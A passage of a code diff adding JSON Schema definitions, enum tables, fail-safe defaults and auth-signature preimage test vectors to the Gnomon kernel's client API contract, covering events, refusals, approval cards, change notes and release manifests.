1642
+ var VOICE_CLOSED_VALUES = deepFreeze({
1643
+ "approval.voice.disarm.reason": [...VOICE_DISARM_REASONS],
1644
+ // FORBIDDEN{voice-strictness} data.ceiling: which clamp refused (§14.7 No level, run modes).
1645
+ "refusal.voice-strictness.ceiling": ["null-level", "manual"]
1646
+ });
1647
+ var ADDITIVE_ENUMS = deepFreeze({
1648
+ "card.kind": [...CARD_KINDS],
1649
+ "card.state": [...CARD_STATES],
1650
+ "card.flags": [...CARD_FLAGS],
1651
+ presence: [...PRESENCE_VALUES],
1652
+ via: [...VIA_VALUES],
1653
+ "principal.kind": [...PRINCIPAL_KINDS],
1654
+ "session.inject.origin": [...INJECT_ORIGINS],
1655
+ decision: [...CARD_DECISIONS],
1656
+ "refusal.gate": [...REFUSAL_GATES],
1657
+ "refusal.reason": [...REFUSAL_REASONS],
1658
+ "client.surface": [...CLIENT_SURFACES],
1659
+ // P8-D98: approval.expire{why} (session-drained, F4).
1660
+ "approval.expire.why": [...CARD_EXPIRY_WHYS],
1661
+ // P8-D86–D88, additive with fail-safe readings (FAIL_SAFE_VALUES).
1662
+ "card.strictness.level": [...STRICTNESS_LEVELS],
1663
+ "run.mode": [...RUN_MODES],
1664
+ "risk.tier": [...RISK_TIERS],
1665
+ "agentClaims.revert.how": [...AGENT_REVERT_HOWS],
1666
+ "kernel.revert.how": [...KERNEL_REVERT_HOWS],
1667
+ "finding.severity": [...FINDING_SEVERITIES],
1668
+ "finding.response": [...FINDING_RESPONSES]
1669
+ });
1670
+ var FAIL_SAFE_VALUES = deepFreeze({
1671
+ "card.strictness.level": "L3",
1672
+ "run.mode": "manual",
1673
+ "risk.tier": "high",
1674
+ "agentClaims.revert.how": "manual",
1675
+ "kernel.revert.how": "none",
1676
+ "finding.severity": "important",
1677
+ "finding.response": null
1678
+ });
1679
+ var HELLO_RESULT_KEYS = ["clientApi", "features", "nonce", "clientNonce", "serverKeyId", "serverSig", "clientApiId", "kitId"];
1680
+ var CLIENT_NONCE_PATTERN_SOURCE = "^[A-Za-z0-9_-]{22,86}$";
1681
+ var CLIENT_NONCE_PATTERN = new RegExp(CLIENT_NONCE_PATTERN_SOURCE);
1682
+ var AUTH_SERVER_DOMAIN = "gnomon:auth-server:v2";
1683
+ var AUTH_CLIENT_DOMAIN = "gnomon:auth:v1";
1684
+ var AUTH_TOKEN_DOMAIN = "gnomon:auth-token:v1";
1685
+ function negotiatedLines(n) {
1686
+ return `
1687
+ ${n.clientApi}
1688
+ ${canonicalJson([...n.features])}`;
1689
+ }
1690
+ function authServerMessage(nonce, clientNonce, endpointPath, negotiated) {
1691
+ return `${nonce}
1692
+ ${clientNonce}
1693
+ ${endpointPath}${negotiatedLines(negotiated)}`;
1694
+ }
1695
+ function authClientMessage(nonce, serverKeyId, principalId2, deviceId, endpointPath, negotiated) {
1696
+ return `${nonce}
1697
+ ${serverKeyId}
1698
+ ${principalId2}
1699
+ ${deviceId}
1700
+ ${endpointPath}${negotiatedLines(negotiated)}`;
1701
+ }
1702
+ function authTokenMessage(nonce, serverKeyId, tokenId, endpointPath, negotiated) {
1703
+ return `${nonce}
1704
+ ${serverKeyId}
1705
+ ${tokenId}
1706
+ ${endpointPath}${negotiatedLines(negotiated)}`;
1707
+ }
1708
+ function authServerPreimage(nonce, clientNonce, endpointPath, negotiated) {
1709
+ return `${AUTH_SERVER_DOMAIN}
1710
+ ${authServerMessage(nonce, clientNonce, endpointPath, negotiated)}`;
1711
+ }
1712
+ function authClientPreimage(nonce, serverKeyId, principalId2, deviceId, endpointPath, negotiated) {
1713
+ return `${AUTH_CLIENT_DOMAIN}
1714
+ ${authClientMessage(nonce, serverKeyId, principalId2, deviceId, endpointPath, negotiated)}`;
1715
+ }
1716
+ function authTokenPreimage(nonce, serverKeyId, tokenId, endpointPath, negotiated) {
1717
+ return `${AUTH_TOKEN_DOMAIN}
1718
+ ${authTokenMessage(nonce, serverKeyId, tokenId, endpointPath, negotiated)}`;
1719
+ }
1720
+ var ID_BASE = "https://github.com/ascend42/a-paradigm/packages/gnomon-contracts/schemas/";
1721
+ var str = (re) => re ? { type: "string", pattern: typeof re === "string" ? re : re.source } : { type: "string" };
1722
+ var enumOf = (values, additive = false) => additive ? { type: "string", enum: [...values], "x-gnomon-additive": true } : { type: "string", enum: [...values] };
1723
+ var arr = (items, extra = {}) => ({ type: "array", items, ...extra });
1724
+ var closedObj = (properties, required) => ({
1725
+ type: "object",
1726
+ properties,
1727
+ required: [...required],
1728
+ additionalProperties: false
1729
+ });
1730
+ var ISO = { type: "string", pattern: ISO_DATE_TIME2.source };
1731
+ var SHA = str(SHA256_TAGGED);
1732
+ var EVENT_V1_SCHEMA = deepFreeze({
1733
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1734
+ $id: `${ID_BASE}event.v1.schema.json`,
1735
+ title: "event:v1",
1736
+ description: "Gnomon kernel log envelope (spec \xA74.1). Labels default per kind (\xA79.1, x-gnomon-kinds).",
1737
+ "x-gnomon-kinds": [...EVENT_KIND_NAMES],
1738
+ "x-gnomon-open-namespaces": [...OPEN_USERLAND_NAMESPACES],
1739
+ "x-gnomon-reserved-kinds": Object.fromEntries(
1740
+ EVENT_KIND_NAMES.filter((k) => EVENT_KINDS[k].reserved).map((k) => [k, EVENT_KINDS[k].reserved])
1741
+ ),
1742
+ "x-gnomon-reserved-payload-fields": RESERVED_PAYLOAD_FIELDS,
1743
+ "x-gnomon-session-taints": [...SESSION_TAINTS],
1744
+ "x-gnomon-suspect-reasons": [...APPROVAL_SUSPECT_REASONS],
1745
+ "x-gnomon-reserved-kind-payloads": RESERVED_KIND_PAYLOADS,
1746
+ "x-gnomon-kind-payloads": KIND_PAYLOADS,
1747
+ "x-gnomon-compaction-reasons": [...COMPACTION_REASONS],
1748
+ ...closedObj(
1749
+ {
1750
+ schemaVersion: { const: "event:v1" },
1751
+ id: str(ID_PATTERNS.ev),
1752
+ log: str(ID_PATTERNS.log),
1753
+ seq: { type: "integer", minimum: 1 },
1754
+ at: ISO,
1755
+ principal: str(ANY_PRINCIPAL_PATTERN),
1756
+ keyId: str(KEY_ID_PATTERN),
1757
+ deviceId: str(DEVICE_ID_PATTERN),
1758
+ connId: str(ID_PATTERNS.conn),
1759
+ idem: SHA,
1760
+ session: str(HSID_PATTERN),
1761
+ scope: closedObj(
1762
+ {
1763
+ org: { type: "null" },
1764
+ team: { type: "null" },
1765
+ repo: str(REPO_SCOPE_PATTERN),
1766
+ loop: str("^loop:.+$"),
1767
+ contract: str(CONTRACT_ID_PATTERN)
1768
+ },
1769
+ ["org", "team"]
1770
+ ),
1771
+ audience: enumOf(AUDIENCES),
1772
+ sensitivity: enumOf(SENSITIVITIES),
1773
+ kind: str(KIND_PATTERN),
1774
+ causes: arr(str(REF_V1_JSON_PATTERN)),
1775
+ payload: {},
1776
+ ref: str(REF_V1_JSON_PATTERN),
1777
+ refHash: SHA,
1778
+ prev: SHA,
1779
+ hash: SHA,
1780
+ sig: { type: "string", minLength: 1 }
1781
+ },
1782
+ EVENT_V1_REQUIRED
1783
+ )
1784
+ });
1785
+ var REF_V1_SCHEMA = deepFreeze({
1786
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1787
+ $id: `${ID_BASE}ref.v1.schema.json`,
1788
+ title: "ref:v1",
1789
+ description: 'ref = scheme ":" id ["@" rev] (spec \xA74.4); canonical (alias-expanded) form.',
1790
+ "x-gnomon-schemes": [...REF_SCHEMES],
1791
+ ...str(REF_V1_JSON_PATTERN)
1792
+ });
1793
+ var REFUSAL_V1_SCHEMA = deepFreeze({
1794
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1795
+ $id: `${ID_BASE}refusal.v1.schema.json`,
1796
+ title: "refusal:v1",
1797
+ description: "Gnomon superset of Warpline refusal:v1 (spec \xA74.6). Every Warpline refusal validates (G-CON-02).",
1798
+ ...closedObj(
1799
+ {
1800
+ schemaVersion: { const: "refusal:v1" },
1801
+ code: enumOf(REFUSAL_CODES),
1802
+ verdict: { type: ["string", "null"] },
1803
+ gate: enumOf(REFUSAL_GATES, true),
1804
+ retriable: enumOf(RETRIABILITIES),
1805
+ contested: arr(
1806
+ closedObj(
1807
+ {
1808
+ stableKey: { type: "string" },
1809
+ symbol: { type: "string" },
1810
+ rule: { type: ["string", "null"] },
1811
+ conflictingSlots: arr({ type: "string" }),
1812
+ rank: enumOf(CONTESTED_RANKS)
1813
+ },
1814
+ ["stableKey", "symbol", "rule", "conflictingSlots", "rank"]
1815
+ ),
1816
+ { maxItems: MAX_CONTESTED }
1817
+ ),
1818
+ contestedTotal: { type: "integer", minimum: 0 },
1819
+ pointers: closedObj(
1820
+ {
1821
+ knotPayloadId: { type: "string" },
1822
+ proposedStateId: { type: "string" },
1823
+ rebasedOnto: { type: "string" },
1824
+ claimId: { type: "string" },
1825
+ symbols: arr({ type: "string" })
1826
+ },
1827
+ []
1828
+ ),
1829
+ next: arr(
1830
+ closedObj(
1831
+ {
1832
+ verb: { type: "string", minLength: 1 },
1833
+ params: { type: "object", additionalProperties: { type: "string" } },
1834
+ requires: arr({ type: "string" }),
1835
+ principal: enumOf(NEXT_PRINCIPALS)
1836
+ },
1837
+ ["verb", "params", "requires", "principal"]
1838
+ )
1839
+ ),
1840
+ override: closedObj({ flag: enumOf(OVERRIDE_FLAGS), principal: { const: "human" } }, ["flag", "principal"]),
1841
+ data: {
1842
+ type: "object",
1843
+ properties: {
1844
+ reason: enumOf(REFUSAL_REASONS, true),
1845
+ offered: arr({ type: "string" }),
1846
+ cardId: { type: "string" }
1847
+ }
1848
+ }
1849
+ },
1850
+ REFUSAL_V1_REQUIRED
1851
+ )
1852
+ });
1853
+ var bytesCapped = (max) => ({ type: "string", "x-gnomon-max-utf8-bytes": max });
1854
+ var REF_STR = str(REF_V1_JSON_PATTERN);
1855
+ var AGENT_CLAIMS = {
1856
+ ...closedObj(
1857
+ {
1858
+ testedHow: closedObj({ summary: bytesCapped(CHANGE_NOTE_LIMITS.summaryBytes), refs: arr(REF_STR) }, ["summary", "refs"]),
1859
+ risk: closedObj(
1860
+ { tier: enumOf(RISK_TIERS, true), why: bytesCapped(CHANGE_NOTE_LIMITS.whyBytes), blast: arr(str("^sym:.+$")) },
1861
+ ["tier", "why", "blast"]
1862
+ ),
1863
+ revert: closedObj(
1864
+ { how: enumOf(AGENT_REVERT_HOWS, true), steps: bytesCapped(CHANGE_NOTE_LIMITS.stepsBytes), reversible: { type: "boolean" } },
1865
+ ["how", "steps", "reversible"]
1866
+ ),
1867
+ draftedBy: str(ANY_PRINCIPAL_PATTERN)
1868
+ },
1869
+ CHANGE_NOTE_AGENT_KEYS
1870
+ ),
1871
+ "x-gnomon-trust": "untrusted: agent-claimed, sanitized (\xA74.5), never executed, never authority (B16)"
1872
+ };
1873
+ var KERNEL_PART = {
1874
+ ...closedObj(
1875
+ {
1876
+ verified: closedObj({ n: { type: "integer", minimum: 0 }, of: { type: "integer", minimum: 0 } }, ["n", "of"]),
1877
+ risk: closedObj(
1878
+ { floor: enumOf(RISK_TIERS, true), effective: enumOf(RISK_TIERS, true), reasons: arr({ type: "string" }) },
1879
+ ["floor", "effective", "reasons"]
1880
+ ),
1881
+ revert: closedObj({ how: enumOf(KERNEL_REVERT_HOWS, true), ref: REF_STR }, ["how"])
1882
+ },
1883
+ CHANGE_NOTE_KERNEL_KEYS
1884
+ ),
1885
+ "x-gnomon-trust": "kernel-computed; never written by the agent"
1886
+ };
1887
+ var CHANGE_NOTE_CARD = closedObj({ agentClaims: AGENT_CLAIMS, kernel: KERNEL_PART }, ["agentClaims", "kernel"]);
1888
+ var CHANGE_NOTE_CLAIM = closedObj({ agentClaims: AGENT_CLAIMS, kernel: false }, ["agentClaims"]);
1889
+ var CHANGE_NOTE_V1_SCHEMA = deepFreeze({
1890
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1891
+ $id: `${ID_BASE}change-note.v1.schema.json`,
1892
+ title: "change-note:v1",
1893
+ description: "Change note (spec \xA74.11, \xA73.4). Two forms: $defs/claim (contract.claim{note}: agentClaims only, never a kernel part) and $defs/card (cards, contract.built, brief:v1: agentClaims + kernel). agentClaims untrusted, kernel computed. Reserved M1.1 (P8-D86\u2013D88).",
1894
+ $defs: { claim: CHANGE_NOTE_CLAIM, card: CHANGE_NOTE_CARD }
1895
+ });
1896
+ var FINDING_LOCUS = closedObj(
1897
+ { path: { type: "string", minLength: 1 }, lines: str(LINE_RANGE_PATTERN), symbol: { type: "string", minLength: 1 } },
1898
+ ["path"]
1899
+ );
1900
+ var REVIEW_FINDING_V1_SCHEMA = deepFreeze({
1901
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1902
+ $id: `${ID_BASE}review-finding.v1.schema.json`,
1903
+ title: "review-finding:v1",
1904
+ description: "Reviewer finding (spec \xA74.11, \xA77.3). severity pre-existing is kernel-set; fingerprint = sha256(class \u2016 (symbol ?? path) \u2016 overlapping line range). Reserved M1.1 (P8-D86\u2013D88).",
1905
+ "x-gnomon-responses": [...FINDING_RESPONSES],
1906
+ ...closedObj(
1907
+ {
1908
+ fid: { type: "string", minLength: 1 },
1909
+ round: { type: "integer", minimum: 1 },
1910
+ class: { type: "string", minLength: 1 },
1911
+ severity: enumOf(FINDING_SEVERITIES, true),
1912
+ locus: FINDING_LOCUS,
1913
+ instances: arr(FINDING_LOCUS),
1914
+ claim: { type: "string" },
1915
+ fingerprint: SHA
1916
+ },
1917
+ REVIEW_FINDING_V1_KEYS
1918
+ )
1919
+ });
1920
+ var CARD_V1_SCHEMA = deepFreeze({
1921
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1922
+ $id: `${ID_BASE}card.v1.schema.json`,
1923
+ title: "card:v1",
1924
+ description: "Broker decision card (spec \xA73.4). Enums additive per \xA74.9; unknown state = not decidable.",
1925
+ ...closedObj(
1926
+ {
1927
+ schemaVersion: { const: "card:v1" },
1928
+ cardId: str(ID_PATTERNS.card),
1929
+ kind: enumOf(CARD_KINDS, true),
1930
+ direction: enumOf(HANDOFF_DIRECTIONS),
1931
+ requestedBy: str(ANY_PRINCIPAL_PATTERN),
1932
+ hsid: str(HSID_PATTERN),
1933
+ contractId: str(CONTRACT_ID_PATTERN),
1934
+ nodeId: { type: "string" },
1935
+ attended: { type: "boolean" },
1936
+ approverPolicy: { type: "object", properties: { kind: enumOf(["self"], true) }, required: ["kind"] },
1937
+ block: { type: "object", properties: { schemaVersion: { const: "display-block:v1" } }, required: ["schemaVersion"] },
1938
+ contentHash: SHA,
1939
+ flags: arr(enumOf(CARD_FLAGS, true)),
1940
+ actions: { type: "array" },
1941
+ state: enumOf(CARD_STATES, true),
1942
+ heldUntil: ISO,
1943
+ heldDecision: enumOf(CARD_DECISIONS, true),
1944
+ voice: {
1945
+ type: "object",
1946
+ properties: {
1947
+ eligible: enumOf(VOICE_ELIGIBILITY, true),
1948
+ reason: enumOf(VOICE_INELIGIBLE_REASONS, true),
1949
+ label: { type: "string" },
1950
+ readback: { type: "string" },
1951
+ readbackHash: SHA,
1952
+ echo: { type: "string" }
1953
+ },
1954
+ required: ["eligible", "label", "readback", "readbackHash", "echo"]
1955
+ },
1956
+ decidedBy: str(ANY_PRINCIPAL_PATTERN),
1957
+ decidedAt: ISO,
1958
+ decisionSig: { type: "string" },
1959
+ presence: enumOf(PRESENCE_VALUES, true),
1960
+ via: enumOf(VIA_VALUES, true),
1961
+ voiceDecision: {
1962
+ type: "object",
1963
+ properties: {
1964
+ armId: str(ID_PATTERNS.arm),
1965
+ armClass: enumOf(VOICE_ARM_CLASSES, true),
1966
+ humanConnId: str(ID_PATTERNS.conn),
1967
+ voiceConnId: str(ID_PATTERNS.conn),
1968
+ turnId: { type: "string" },
1969
+ confirmTurnId: { type: "string" },
1970
+ deckId: { type: "string" },
1971
+ ordinal: { type: "integer", minimum: 1 },
1972
+ label: { type: "string" },
1973
+ handleHash: SHA,
1974
+ challengeHash: SHA,
1975
+ readbackHash: SHA,
1976
+ speakerId: { type: "string" },
1977
+ asrConfidence: { type: "number", minimum: 0, maximum: 1 },
1978
+ mode: enumOf(VOICE_MODES, true)
1979
+ },
1980
+ required: ["armId", "armClass", "humanConnId", "voiceConnId", "turnId", "speakerId", "asrConfidence", "mode"]
1981
+ },
1982
+ note: CHANGE_NOTE_CARD,
1983
+ strictness: closedObj(
1984
+ { level: enumOf(STRICTNESS_LEVELS, true), mode: enumOf(RUN_MODES, true), reason: { type: "string" } },
1985
+ ["level", "mode", "reason"]
1986
+ ),
1987
+ cli: { type: "object" },
1988
+ timeoutAt: ISO
1989
+ },
1990
+ CARD_V1_REQUIRED
1991
+ )
1992
+ });
1993
+ var HELLO_V1_SCHEMA = deepFreeze({
1994
+ $schema: "https://json-schema.org/draft/2020-12/schema",
1995
+ $id: `${ID_BASE}gnomon-rpc.v1.hello.schema.json`,
1996
+ title: "gnomon-rpc:v1 hello",
1997
+ description: "hello params and result (spec \xA74.9). Highest shared clientApi wins; none \u21D2 UNSUPPORTED{data:{offered[]}}. The result echoes clientNonce and serverSig covers it (T-2026-10-18-016).",
1998
+ $defs: {
1999
+ params: closedObj(
2000
+ {
2001
+ clientApis: arr(str("^[a-z][a-z0-9-]*:v[1-9][0-9]*$"), { minItems: 1 }),
2002
+ features: arr({ type: "string" }),
2003
+ clientNonce: str(CLIENT_NONCE_PATTERN_SOURCE),
2004
+ client: closedObj(
2005
+ {
2006
+ name: { type: "string", minLength: 1 },
2007
+ version: { type: "string", minLength: 1 },
2008
+ surface: enumOf(CLIENT_SURFACES, true),
2009
+ conformance: closedObj(
2010
+ { suite: { type: "string" }, version: { type: "string" }, reportHash: { type: "string" } },
2011
+ ["suite", "version", "reportHash"]
2012
+ )
2013
+ },
2014
+ ["name", "version"]
2015
+ )
2016
+ },
2017
+ ["clientApis", "features", "clientNonce", "client"]
2018
+ ),
2019
+ result: closedObj(
2020
+ {
2021
+ clientApi: str("^gnomon-rpc:v[1-9][0-9]*$"),
2022
+ features: arr({ type: "string" }),
2023
+ nonce: { type: "string", minLength: 1 },
2024
+ clientNonce: str(CLIENT_NONCE_PATTERN_SOURCE),
2025
+ serverKeyId: { type: "string", minLength: 1 },
2026
+ serverSig: { type: "string", minLength: 1 },
2027
+ clientApiId: { type: "string", minLength: 1 },
2028
+ kitId: { type: "string", minLength: 1 }
2029
+ },
2030
+ HELLO_RESULT_KEYS
2031
+ )
2032
+ }
2033
+ });
2034
+ var offerText = (max) => ({ type: "string", minLength: 1, maxLength: max, "x-gnomon-single-line": true });
2035
+ var offerTokens = (max) => arr(str(OFFER_TOKEN_PATTERN), { maxItems: max, uniqueItems: true });
2036
+ var OFFER_SPEC_V1_SCHEMA = deepFreeze({
2037
+ $schema: "https://json-schema.org/draft/2020-12/schema",
2038
+ $id: `${ID_BASE}offer-spec.v1.schema.json`,
2039
+ title: "offer-spec:v1",
2040
+ description: "One playbook offer a mod manifest declares under provides.offers (the Desk, TD-2026-10-20-812). Structured fields only (A7). A model proposes it with one ```offer block {mod, kind, question} (offerBlockOf).",
2041
+ "x-gnomon-max-per-mod": OFFERS_PER_MOD_MAX,
2042
+ ...closedObj(
2043
+ {
2044
+ kind: str(OFFER_TOKEN_PATTERN),
2045
+ phase: enumOf(OFFER_PHASES),
2046
+ title: { ...offerText(OFFER_LIMITS.title), pattern: OFFER_TITLE_SCHEMA_PATTERN },
2047
+ summary: offerText(OFFER_LIMITS.summary),
2048
+ contextIn: arr(enumOf(CONTEXT_SOURCES), { maxItems: OFFER_LIMITS.contextIn, uniqueItems: true }),
2049
+ resultOut: str(OFFER_TOKEN_PATTERN),
2050
+ reach: enumOf(OFFER_REACHES),
2051
+ handoffTool: str(OFFER_TOOL_PATTERN),
2052
+ related: offerTokens(OFFER_LIMITS.related),
2053
+ restraint: offerText(OFFER_LIMITS.restraint)
2054
+ },
2055
+ OFFER_SPEC_V1_KEYS
2056
+ )
2057
+ });
2058
+ var RELEASE_MANIFEST_V1_SCHEMA = deepFreeze({
2059
+ $schema: "https://json-schema.org/draft/2020-12/schema",
2060
+ $id: `${ID_BASE}release-manifest.v1.schema.json`,
2061
+ title: "release-manifest:v1",
2062
+ description: "The native executables one Gnomon release ships (GnomonHelper.app, GnomonVoiceIO.app) and the exact sha256 the kernel accepts for each (G-HLP-01). Written by packages/gnomon/scripts/write-release-manifest.mjs and embedded in the build stamp; at most one entry per (name, arch), a universal entry stands alone (validateReleaseManifestV1).",
2063
+ ...closedObj(
2064
+ {
2065
+ schemaVersion: { const: RELEASE_MANIFEST_V1 },
2066
+ release: str(RELEASE_VERSION_PATTERN),
2067
+ artifacts: arr(
2068
+ closedObj(
2069
+ {
2070
+ name: enumOf(RELEASE_ARTIFACT_NAMES),
2071
+ version: str(ARTIFACT_VERSION_PATTERN),
2072
+ sha256: str(SHA256_HEX_PATTERN),
2073
+ requirement: { type: "string", minLength: 1, maxLength: RELEASE_REQUIREMENT_MAX },
2074
+ arch: enumOf(RELEASE_ARCHES)
2075
+ },
2076
+ RELEASE_ARTIFACT_V1_KEYS
2077
+ ),
2078
+ { minItems: 1, maxItems: RELEASE_ARTIFACTS_MAX }
2079
+ ),
2080
+ appZips: arr(closedObj({ arch: enumOf(APP_ZIP_ARCHES), sha256: str(SHA256_HEX_PATTERN) }, RELEASE_APP_ZIP_V1_KEYS), { minItems: 1, maxItems: APP_ZIP_ARCHES.length })
2081
+ },
2082
+ RELEASE_MANIFEST_V1_KEYS
2083
+ )
2084
+ });
2085
+ var CONTRACT_SCHEMAS = Object.freeze({
2086
+ "event.v1.schema.json": EVENT_V1_SCHEMA,
2087
+ "ref.v1.schema.json": REF_V1_SCHEMA,
2088
+ "refusal.v1.schema.json": REFUSAL_V1_SCHEMA,
2089
+ "card.v1.schema.json": CARD_V1_SCHEMA,
2090
+ "gnomon-rpc.v1.hello.schema.json": HELLO_V1_SCHEMA,
2091
+ "review-finding.v1.schema.json": REVIEW_FINDING_V1_SCHEMA,
2092
+ "change-note.v1.schema.json": CHANGE_NOTE_V1_SCHEMA,
2093
+ "offer-spec.v1.schema.json": OFFER_SPEC_V1_SCHEMA
2094
+ });
2095
+ var BUILD_SCHEMAS = Object.freeze({
2096
+ "release-manifest.v1.schema.json": RELEASE_MANIFEST_V1_SCHEMA
2097
+ });
2098
+ var KIT_V1 = "kit:v1";
2099
+ var KIT_V1_BLOCKS = Object.freeze([
2100
+ "Box",
2101
+ "Text",
2102
+ "List",
2103
+ "Table",
2104
+ "Markdown",
2105
+ "Diff",
2106
+ "Progress",
2107
+ "Button",
2108
+ "Image",
2109
+ "Canvas"
2110
+ ]);
2111
+ var KIT_V1_DESCRIPTOR = deepFreeze({ schemaVersion: KIT_V1, blocks: [...KIT_V1_BLOCKS] });
2112
+ var VECTOR_NEGOTIATED = { clientApi: GNOMON_RPC_V1, features: ["b", "a"] };
2113
+ var AUTH_WIRE_DESCRIPTOR = deepFreeze({
2114
+ domains: { server: AUTH_SERVER_DOMAIN, client: AUTH_CLIENT_DOMAIN, token: AUTH_TOKEN_DOMAIN },
2115
+ vectors: {
2116
+ server: {
2117
+ inputs: { nonce: "N", clientNonce: "CN", endpointPath: "/s", negotiated: VECTOR_NEGOTIATED },
2118
+ preimage: authServerPreimage("N", "CN", "/s", VECTOR_NEGOTIATED)
2119
+ },
2120
+ client: {
2121
+ inputs: { nonce: "N", serverKeyId: "k", principalId: "p", deviceId: "d", endpointPath: "/s", negotiated: VECTOR_NEGOTIATED },
2122
+ preimage: authClientPreimage("N", "k", "p", "d", "/s", VECTOR_NEGOTIATED)
2123
+ },
2124
+ token: {
2125
+ inputs: { nonce: "N", serverKeyId: "k", tokenId: "rtk:X", endpointPath: "/s", negotiated: VECTOR_NEGOTIATED },
2126
+ preimage: authTokenPreimage("N", "k", "rtk:X", "/s", VECTOR_NEGOTIATED)
2127
+ }
2128
+ },
2129
+ // TD-2026-10-19-063 (founder ruling "ONE Touch ID"; a DELIBERATE clientApiId move): the GUI resume form. The kernel
2130
+ // that accepted an upgrade card sends `gui.resume` to the accepting GUI connection only; the successor accepts
2131
+ // `auth {resumeToken}` exactly once, inside the TTL, as the bound principal (web endpoint only; never presence).
2132
+ resume: {
2133
+ form: { resumeToken: "base64url(32 random bytes)" },
2134
+ transport: "web",
2135
+ notification: { method: "gui.resume", params: ["kernelPublicKey", "resumeToken", "ttlMs"] },
2136
+ ttlMs: 6e4,
2137
+ singleUse: true,
2138
+ via: "resume",
2139
+ refusals: ["replayed-transcript", "token-expired", "unknown-token"]
2140
+ }
2141
+ });
2142
+ var DECISION_V2_INPUTS = {
2143
+ cardId: "card:01J00000000000000000000000",
2144
+ decision: "answer",
2145
+ cardContentHash: `sha256:${"c".repeat(64)}`,
2146
+ approverPrincipalId: "p:local/founder",
2147
+ answerDigest: `sha256:${"a".repeat(64)}`
2148
+ };
2149
+ var SCOPE_VECTOR = { kind: "prefix", prefix: ["git", "log"] };
2150
+ var DECISION_SIG_DESCRIPTOR = deepFreeze({
2151
+ domain: APPROVE_SIG_DOMAIN,
2152
+ v2: {
2153
+ marker: DECISION_SIG_V2_MARKER,
2154
+ decisions: [...DECISION_SIG_V2_DECISIONS],
2155
+ vector: { inputs: DECISION_V2_INPUTS, message: decisionMessageV2(DECISION_V2_INPUTS) }
2156
+ },
2157
+ // TD-2026-10-20-294: approve{scope}; a prefix-scoped always signs the v2 layout whose last line is scopeDigest(scope)
2158
+ scope: {
2159
+ kinds: [...APPROVE_SCOPE_KINDS],
2160
+ prefixWords: { min: 1, max: APPROVE_SCOPE_PREFIX_MAX_WORDS },
2161
+ decisions: [...DECISION_SIG_V2_SCOPED_DECISIONS],
2162
+ digest: 'sha256(canonicalJson({kind:"prefix", prefix}))',
2163
+ vector: { scope: SCOPE_VECTOR, scopeDigest: scopeDigest(SCOPE_VECTOR), message: decisionMessageV2({ ...DECISION_V2_INPUTS, decision: "always", answerDigest: scopeDigest(SCOPE_VECTOR) }) }
2164
+ }
2165
+ });
2166
+ var CLIENT_API_DESCRIPTOR = deepFreeze({
2167
+ clientApi: GNOMON_RPC_V1,
2168
+ verbs: VERBS,
2169
+ relays: CLIENT_RELAYS,
2170
+ jsonRpcCodes: JSON_RPC_CODES,
2171
+ additiveEnums: ADDITIVE_ENUMS,
2172
+ schemas: CONTRACT_SCHEMAS,
2173
+ // M1.1 reservations that live outside a JSON Schema (§4.11, §19.1 M1.1).
2174
+ verbParamValues: VERB_PARAM_VALUES,
2175
+ contentParts: RESERVED_CONTENT_PARTS,
2176
+ statusFields: STATUS_RESERVED_FIELDS,
2177
+ failSafe: FAIL_SAFE_VALUES,
2178
+ // P8-D93 round 3 (Aegis): domains + one preimage vector per auth form
2179
+ auth: AUTH_WIRE_DESCRIPTOR,
2180
+ // P8-D98 (T-2026-10-19-001): the human-device verbs, the reserved hello features, the log.read cursor shape,
2181
+ // the closed always-rule match and drain reason, and the decisionSig v2 layout.
2182
+ humanDeviceVerbs: HUMAN_DEVICE_VERBS,
2183
+ helloFeatures: { reserved: RESERVED_HELLO_FEATURES },
2184
+ logReadCursor: LOG_READ_CURSOR_KEYS,
2185
+ closedValues: D98_CLOSED_VALUES,
2186
+ decisionSig: DECISION_SIG_DESCRIPTOR,
2187
+ // TD-2026-10-19-194 (voice V0): closed disarm reasons + voice-strictness ceilings; status.arms/armCustody ride statusFields.
2188
+ voiceClosedValues: VOICE_CLOSED_VALUES,
2189
+ // TD-2026-10-20-086 F6: the daily standing grant's closed values (the deliberate clientApiId move, with T-2026-10-20-007).
2190
+ standingGrant: { tuples: [...STANDING_TUPLES], repoTuples: [...STANDING_REPO_TUPLES], revokeReasons: [...STANDING_REVOKE_REASONS], presencePrefix: STANDING_PRESENCE_PREFIX, maxMs: STANDING_GRANT_MAX_MS },
2191
+ // 8.0:model-switch: the mid-session Claude model switch's closed outcomes, refusal routes and context guard
2192
+ modelSwitch: { outcomes: [...SESSION_MODEL_OUTCOMES], reasons: MODEL_SWITCH_REASON_ROUTES, contextGuard: MODEL_SWITCH_CONTEXT_GUARD },
2193
+ // review M2: turn.result{turn} names the latest turn it closes (folded queued turns close with it); absent = FIFO
2194
+ turnResult: TURN_RESULT_PAIRING,
2195
+ // 8.0:T-2026-10-21-008 (re-review M-1): session.anomaly{why}'s closed reasons
2196
+ sessionAnomaly: { reasons: [...SESSION_ANOMALY_REASONS] },
2197
+ // 8.0:session-rename: request.session.rename{hsid, name} → session.renamed{hsid, name}; the name's limits ('' resets)
2198
+ sessionRename: { nameMax: SESSION_NAME_MAX, inputMax: SESSION_NAME_INPUT_MAX, reset: "" },
2199
+ // 8.0:git-verbs (T-2026-10-23-002): git.verb{verb, phase, why}'s closed values and the host rule
2200
+ gitVerbs: { verbs: [...GIT_VERBS], phases: [...GIT_VERB_PHASES], reasons: [...GIT_VERB_REASONS], hostPattern: GIT_VERB_HOST_PATTERN.source },
2201
+ // 8.0:rules-view (Aegis M2/L1/L2): request.rules.apply{changes:[{ruleId, op, until?}]} (dispatcher-only, the human on a
2202
+ // gui or device connection): remove/off narrow at once; every `on` of a batch rides ONE strictness card (detail.op
2203
+ // cardOp, fresh presence, never standing, never voice); `until` is an ISO time ≤ offMaxMs ahead of the kernel clock or
2204
+ // 'manual'. approval.rule.disabled / approval.rule.enabled ride the event schema.
2205
+ rulesView: { request: "request.rules.apply", max: RULES_APPLY_MAX, ops: [...RULE_CHANGE_OPS], offMaxMs: RULE_OFF_MAX_MS, untilManual: "manual", enableCauses: [...RULE_ENABLE_CAUSES], batchPattern: RULES_BATCH_PATTERN.source, cardOp: "rules.apply" },
2206
+ // 8.0:TD-2026-10-20-812 (the Desk + the context meter, one batched move): the offer block grammar and limits, the
2207
